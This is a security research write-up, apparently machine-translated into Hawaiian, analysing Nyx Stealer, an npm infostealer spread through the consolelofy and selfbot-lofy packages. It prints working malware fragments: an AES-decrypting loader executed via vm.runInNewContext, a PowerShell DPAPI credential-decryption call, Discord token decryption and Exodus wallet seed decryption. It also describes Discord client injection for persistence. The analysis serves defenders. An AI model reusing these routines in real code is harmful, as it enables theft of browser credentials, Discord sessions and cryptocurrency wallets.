Aku; DR
ʻO ka Hui Noiʻi Palekana Xygeni ua ʻike i kahi hoʻolaha infostealer npm paʻakikī i hāʻawi ʻia ma o ʻelua mau pūʻolo ʻino: consolelofy a selfbot-lofy.
ʻO ka mana hou loa (consolelofy@1.3.0) hoʻokomo i kahi ukana i hoʻopāʻālua ʻia e 216KB AES e wehe ana i ka wā holo a hoʻokō ma o vm.runInNewContext()Ma muli o ka hoʻopāʻālua piha ʻia ʻana o ka logic ʻino, ʻaʻole hiki i nā scanner static e hilinaʻi nei i ka nānā ʻana i ke kaula ke nānā i kāna hana a hiki i ka manawa hoʻokō.
Ke wehe ʻia ka wehewehe ʻana, ka ukana, i hōʻailona ʻia i loko ʻO Nyx Stealer, nā pahuhopu:
- Nā hōʻailona hōʻoia Discord
- 50+ mau hale kūʻai hōʻoia polokalamu kele pūnaewele
- 90+ mau hoʻonui ʻeke kālā cryptocurrency
- Nā hālāwai ʻo Roblox, Instagram, Spotify, Steam, Telegram, a me TikTok
- Hoʻomau ka paʻa ʻana o ka mea kūʻai aku papapihi Discord
Ua hōʻike ʻia a ua hōʻoia ʻia he ʻino nā mana he 20 ma nā pūʻolo ʻelua.
ʻIke loea o kēia npm Infostealer
ʻAʻole e like me ka polokalamu kamepiula manawa hoʻonohonoho kuʻuna, hilinaʻi kēia hoʻolaha ma kahi Runtime kumu hoʻohālike wehe ʻikepili.
Aia:
- ʻAʻohe hana ʻino
preinstallorpostinstallhooks - ʻAʻohe kāhea pūnaewele maopopo i ka manawa hoʻokomo
- ʻAʻohe loina hōʻiliʻili palapala hōʻoia maʻalahi
Hoʻāla ʻia ka ukana ke lawe ʻia mai ka module. Hoʻopāʻālua ʻia ke kino ʻino holoʻokoʻa a hōʻike wale ʻia i loko o ka hoʻomanaʻo i ka wā holo.
Pale aku kēia hoʻolālā i ka ʻike ʻia ʻana i ka wā o ke kau ʻana o ka pūʻolo.
Pehea e hoʻokō maoli ai kēia npm Infostealer
Ma mua o ka nānā ʻana i nā mea a Nyx Stealer i ʻaihue ai, pono mākou e hoʻomaopopo pehea e hoʻokō ai.
Ke hahai nei ke ʻano hana ʻino i loko o kēia npm infostealer i kahi ʻano kūlike:
Hoʻopau kahi mea hoʻouka liʻiliʻi i kahi ukana i hoʻopāʻālua ʻia nui a hoʻokō iā ia me ka ikaika i loko o kahi pōʻaiapili Node.js VM.
He mea i manaʻo ʻia kēia hoʻolālā. ʻAʻole hūnā ka mea hoʻouka i ka hana ma hope o ka obfuscation wale nō, ʻo lākou wehe loa i ke code ʻino mai ka ʻike paʻa.
Kumu Hoʻokō Pae Kiʻekiʻe
Ma kahi pae kiʻekiʻe, hana ka ʻōwili i ʻehā mau mea:
- Loaʻa i kahi kī AES mai kahi ʻōlelo huna paʻa e hoʻohana ana iā SHA-256
- Wehewehe i kahi ciphertext hex-encoded nui me ka hoʻohana ʻana iā AES-256-CBC
- Hoʻokō i ka JavaScript i wehe ʻia me ka hoʻohana ʻana
vm.runInNewContext() - Hāʻawi i kahi pahu one e hōʻike mau ana i nā primitives runtime ikaika
Hōʻuluʻulu Manaʻo Koʻikoʻi
| ke keʻena | Hoʻonohonoho / Waiwai |
|---|---|
| Algorithm | AES-256-CBC |
| Ka Hoʻopuka Kiʻi | SHA-256 (huaʻōlelo huna) |
| Vector Hoʻomaka (IV) | 16 bytes o 0x00 |
| hooko | vm.runInNewContext(decrypted, onebox) |
ʻO ke koʻikoʻi, hele ka pahu one ma o:
requireprocessBuffer- nā manawa
- hoʻokuʻu aku i nā modula
ʻO ke ʻano kēia, mālama ka ukana i wehe ʻia i ka mana piha e:
- Nā kaʻina hana hoʻoulu
- Heluhelu a kākau i nā faila
- E hana i nā kelepona pūnaewele
- Hoʻololi i nā polokalamu kūloko
ʻAʻole kēia he VM i kaupalena ʻia. He VM ia i hoʻohana ʻia ma ke ʻano he trampoline hoʻokō.
ʻAno Hoʻopāʻālua Runtime (ʻAno Hoʻokō Koʻikoʻi)
He liʻiliʻi ka mea hoʻouka.
ʻAʻole ke kino ʻino.
Aia ma lalo ke ʻano hoʻokō i loaʻa i loko o ka pūʻolo:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } No ke aha keia
ʻO ka ukana i wehe ʻia:
- hana aole aia ma ka plaintext i loko o ka pūʻolo npm
- ʻIke ʻole ʻia e ka mea maʻalahi
grepa i ʻole ke nānā ʻana i ke kaula paʻa - Hoʻopuka wale ʻia i loko o ka hoʻomanaʻo i ka wā e holo ai
- Hoʻokō me nā hiki piha o ka Node runtime
ʻO kēia hui pū ʻana o ka hoʻokō ʻana o AES + VM he hōʻailona hana ikaika ia o kahi ʻO ka mea ʻaihue ʻike npm e hoʻāʻo nei e pale i ka nānā ʻana i ka static.
I nā huaʻōlelo ʻē aʻe:
Inā ʻoe e scan i ka lāʻau kumu pūʻolo, ʻaʻole ʻoe e ʻike i kahi mea ʻaihue.
Ke ʻike nei ʻoe i kahi mea hoʻopololei.
He aha ka mea e hana ʻia ma hope o ka wehe ʻana
Ke hoʻokō ʻia, hoʻokuʻu ʻo Nyx Stealer i nā nalu hōʻiliʻili ʻikepili like.
Nalu 1: Ka wehe ʻana i nā palapala hōʻoia o ka polokalamu kele pūnaewele
ʻO ka polokalamu ʻino:
- Hoʻoiho i kahi manawa holo Python mai NuGet CDN
- Hoʻokomo i nā waihona puke cryptographic
- Hoʻopuka i nā hale kūʻai hōʻoia e pili ana i ka Chromium
- Wehewehe i nā mea huna i pale ʻia e DPAPI
Ma kahi o ka hōʻuluʻulu ʻana i nā nakinaki maoli, hoʻohana ia iā PowerShell e kāhea pololei iā Windows DPAPI.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } ʻO kēia ala:
- Hōʻalo i nā mea hana hōʻuluʻulu
- Hoʻohana i nā API crypto Windows maoli
- Hoʻohui ʻia i loko o nā mea hana hoʻomalu
He wehewehe ʻana i nā palapala hōʻoia pae OS, ʻaʻole ia he scraping.
Nalu 2: Wehewehe ʻana i ka hōʻailona Discord
Ua ʻike ka mea ʻaihue i ke kaʻina hana. Hoʻomaopopo ia i ke ʻano hōʻailona i hoʻopāʻālua ʻia o Discord.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Kahe hana:
- E wehe i ke kī nui mai Discord
Local State - Wehewehe i ke kī nui ma o DPAPI
- Wehewehe i nā ʻāpana hōʻailona AES-GCM
- E hōʻoia i nā hōʻailona e kūʻē i ka Discord API
- Hoʻonui me Nitro, nā hōʻailona, ʻike bila
ʻAʻole kēia he hoʻolei palapala hōʻoia maʻamau. He hijacking session ia e ʻike ʻia ana e ka protocol.
Nalu 3: Ke Kuhikuhi ʻana i ka ʻeke kālā Cryptocurrency
Ua helu ka npm infostealer:
- 90+ mau hoʻonui ʻeke kālā polokalamu kele pūnaewele
- 27 mau ʻeke kālā pākaukau
- Nā ala ʻeke kālā anu
- Nā faila hua Exodus
Laʻana o ka hoʻāʻo wehe hua:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } Inā holomua, hiki koke ka hoʻopilikia ʻana i ka ʻeke kālā a hiki ke hoʻihoʻi ʻia.
Hōʻike kēia i ke vector monetization waiwai nui loa o ka hoʻolaha.
Ke hoʻomau nei ma o ka Discord Desktop Injection
Ma hope o ka hōʻiliʻili ʻana i nā palapala hōʻoia, hoʻāʻo ʻo Nyx Stealer i ke kūpaʻa ma ka hoʻololi ʻana i ke kūloko Ka wehewehe Customer.
Manaʻo:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Kaʻina hana
Hana ka mea ʻaihue ʻike i kēia mau hana:
- Hoʻopau i ka holo ʻana o nā kaʻina hana Discord
- Ke ʻimi nei i nā ʻano Discord i hoʻokomo ʻia (Stable, Canary, PTB)
- Kākau hou
discord_desktop_core/index.js - Hoʻokomo i ka logic webhook i kāohi ʻia e ka mea hoʻouka
- Hoʻomaka hou ʻo Discord
Hōʻoia kēia e hoʻokahe koke nā hālāwai Discord e hiki mai ana i nā hōʻailona hōʻoia hou.
ʻO ka mea nui, ʻaʻole hilinaʻi kēia hoʻomau ʻana i nā hana i hoʻonohonoho ʻia a i ʻole nā hoʻololi ʻana i ka papa inoa. Hoʻohana ia i ka hoʻololi ʻana i ke code pae noi, kahi ala malū.
ʻOiai inā e wehe ʻia ka pūʻolo npm ʻino ma hope, e hoʻopilikia ʻia ka mea kūʻai aku ʻo Discord.
Hoʻohālikelike ʻenehana: Legitimate Selfbot vs npm Infostealer
| ke keʻena | Hale Waihona Puke Kūpono | ʻO Nyx npm Infosteler |
|---|---|---|
| AES | None | Ukana piha i hoʻopāʻālua ʻia e AES |
| VM Manawa Holo | ʻAʻole makemakeʻia | vm.runInNewContext hopena |
| Loaʻa Palapala | API Discord wale nō | Kele pūnaewele, nā ʻeke kālā, DPAPI |
| Nā Hoʻoiho Waho | ʻAʻole | Ka holo ʻana o Python ma o NuGet |
| Ka hoʻomau | ʻAʻole | Hoʻokomo ʻana o ka mea kūʻai aku Discord |
| hana hoʻonui kālā | Hana hoʻopaʻa ʻakomi bot | Ke kūʻai hou ʻana i nā palapala hōʻoia |
ʻO ka papa hoʻopāʻālua wale nō ke hoʻokaʻawale nei i kēia hoʻolaha mai kahi ʻōpuʻu open-source maʻamau.
ʻAʻohe kumu o kahi Discord selfbot kūpono e hoʻopāʻālua i kāna codebase holoʻokoʻa, e hoʻopuka iā PowerShell e komo i ka DPAPI, hoʻoiho i nā runtimes waho, a hoʻololi paha i nā internals o ka noi pākaukau. Ke ʻike ʻia kēlā mau hiki i loko o kahi hilinaʻi e koi ana e hoʻokele pono i nā pilina Discord, hiki ʻole ke hoʻowahāwahā ʻia ka mismatch architecture.
Mai kahi kuanaʻike noiʻi, waiho kēia npm infostealer i nā kaha ma nā papa he nui. Eia nō naʻe, ʻaʻole nā URL paʻa a i ʻole nā ala faila kikoʻī nā hōʻailona hilinaʻi loa, ʻoiai hiki ke loli kēlā mau mea ma waena o nā mana. Akā, he ʻano kūkulu nā hōʻailona paʻa.
Ma ka pae pūʻolo, ʻo ka hae ʻulaʻula ikaika loa ka hui pū ʻana o kahi ukana i hoʻopāʻālua nui ʻia a me kahi ʻōwili decryption runtime e hoʻokō koke ʻia ma o vm.runInNewContext()ʻOiai ʻaʻole ia he mea ʻino maoli ka hoʻopāʻālua wale nō, ʻo ka hoʻohana ʻana i ka decryption AES a ukali ʻia e ka hoʻokō VM dynamic i loko o kahi pūʻolo pono Discord he mea ʻano ʻē loa ia.
Ma ka pae kikowaena, ʻo nā ʻano kānalua e komo pū me ka hana decryption DPAPI i manaʻo ʻole ʻia, ka hoʻoulu ʻana o ke kaʻina hana mai kahi pōʻaiapili hilinaʻi Node.js, a me ka hoʻololi ʻana i nā faila noi kūloko ʻaʻole pono e hoʻololi ʻia e nā hale waihona puke ʻaoʻao ʻekolu. Pēlā nō, ma ka papa pūnaewele, ʻo ke kamaʻilio ʻana ma ke ʻano webhook i hoʻomaka ʻia e kahi hilinaʻi hoʻomohala e hōʻike ana i kahi anomaly koʻikoʻi ʻē aʻe.
I nā huaʻōlelo ʻē aʻe, ʻaʻole ka ʻili ʻike he hōʻailona hoʻokahi o ka hoʻopilikia ʻana. ʻO ka pilina o ka hoʻopāʻālua, ka hoʻokō ʻana i ka manawa holo, ke komo ʻana i nā palapala hōʻoia, a me ke ʻano hoʻomau e hōʻike ana i ka hoʻoweliweli.
Ka ʻike ʻana a me ka hoʻēmi ʻana me Xygeni
Ua ʻike ʻia kēia mea ʻaihue ʻike npm e ʻŌlelo Aʻo Mua o ka Malware a Xygeni (MEW) ma o ka pilina hana papa ma mua o ka hoʻohālikelike pūlima maʻalahi.
Ma kahi o ka ʻimi ʻana i nā kaula ʻino i ʻike ʻia, loiloi ʻo MEW i nā ʻano ʻano like ʻole o ke ʻano ma waena o ka lāʻau kumu piha. I kēia hihia, ua puka mai ka ʻike ʻana mai ka hui ʻana o kekahi mau hōʻailona: kahi hana hoʻopau AES i hoʻokomo ʻia i loko o ke kiko komo module, ka hoʻokō koke ʻana i loko o kahi pōʻaiapili VM, a me kahi kūlike maopopo o ka hiki ke hana i ka manaʻo.
ʻO ka mea nui, ʻaʻohe o kēia mau hōʻailona wale nō e hōʻike i ka manaʻo ʻino. Eia nō naʻe, i ka wā e kālailai pū ʻia ai, hōʻike lākou i kahi hoʻāʻo e hūnā i ke ʻano o ka runtime. Hoʻemi nui kēia ʻano papa i nā hopena wahaheʻe me ka ʻike ʻana i nā hoʻoweliweli kaulahao lako hilinaʻi kiʻekiʻe.
Eia kekahi, hōʻike kēia hihia i ke kumu i lawa ʻole ai ka nānā ʻana i ka manawa hoʻonohonoho wale nō. ʻAʻole noho ka logic ʻino i loko o nā script lifecycle. Hoʻāla wale ia ma hope o ka hoʻouka ʻana o ka module a ʻike wale ʻia ke wehe ʻia i ka hoʻomanaʻo. No laila, pono ka pale maikaʻi i ka nānā ʻana i ka ʻike hoʻopāʻālua, ka ʻike ʻana i ke ʻano o ka hana, a me ka nānā mau ʻana i ka hilinaʻi ma mua o nā hanana hoʻonohonoho.
He pane koke ka wehe ʻana o ka papa inoa. He mea pale ka nānā ʻana i ka Runtime-awareness.
No ke aha he mea nui kēia npm Infostealer
Hōʻike ʻo Nyx Stealer i kahi ulu ʻana o ke ʻano i loko o ka polokalamu ʻino npm.
I ka wā ma mua, ua hilinaʻi ka nui o nā pūʻolo ʻino i nā palapala manawa hoʻonohonoho i ʻike ʻia a i ʻole nā kikowaena exfiltration hōʻoia maopopo. I ka hoʻohālikelike ʻana, hoʻopāʻālua kēia hoʻolaha i kāna ukana, hoʻopanee i ka hoʻokō ʻana i ka manawa holo, hoʻohana i nā API ʻōnaehana hana kūpono, a hoʻokumu i ka hoʻomau i loko o nā noi hilinaʻi.
No laila, ʻaʻole pono ka mea hoʻouka e hoʻohana i ka ʻōnaehana npm ponoʻī. Akā, ua holomua ka hoʻouka ʻana no ka mea ʻo ke kau ʻana o ka hilinaʻi e hōʻike ana i ka hilinaʻi. Manaʻo nā mea hoʻomohala he hana palekana ka lawe ʻana mai i kahi waihona puke, ʻoiai ke hōʻike ʻia nei ia he ʻōpuʻu kūpono o kahi mea hana kaulana.
I ka hoʻomau ʻana o ka ulu ʻana o nā kaiaolaola a me ka hoʻonui ʻana o nā forks, lilo kēlā palena hilinaʻi i mea hoʻouka kaua hoihoi. No laila, ʻo ka pale ʻana i nā npm infostealers hou e pono ai ka ʻike ʻana i nā ʻano hoʻolālā ma mua o ka ʻimi ʻana i nā kaula static.
I ka hopena, hoʻoikaika kēia hoʻolaha i kahi haʻawina koʻikoʻi i software supply chain securityʻO nā hoʻoweliweli weliweli loa ʻaʻole ia nā mea e like me ka ʻino i ka nānā mua ʻana, akā ʻo nā mea i ʻike ʻia he kūpono a hiki i ka wā e hōʻike ai ka runtime i kā lākou ʻano maoli.




